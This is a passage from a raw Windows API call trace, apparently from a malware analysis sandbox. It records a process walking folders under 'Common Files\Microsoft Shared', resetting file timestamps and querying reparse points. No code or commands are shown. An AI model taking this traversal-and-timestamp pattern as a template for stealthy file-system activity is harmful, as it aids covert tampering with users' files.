nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9de918, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9de918) returned 1 [0045.493] NtClose (Handle=0x168) returned 0x0 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.493] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0045.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0045.494] GetLastError () returned 0x12 [0045.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.494] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0045.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0045.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0045.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0045.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0045.494] GetLastError () returned 0x12 [0045.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.494] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.495] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0045.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0045.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.495] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9de918 [0045.495] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9de918, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9de918, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9de918) returned 1 [0045.495] NtClose (Handle=0x160) returned 0x0 [0045.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.495] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.495] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de088 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec488 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de0a8 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec510 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0045.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de0c8 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dd978 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2c0) returned 0x9d63e8 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9de690) returned 1 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, 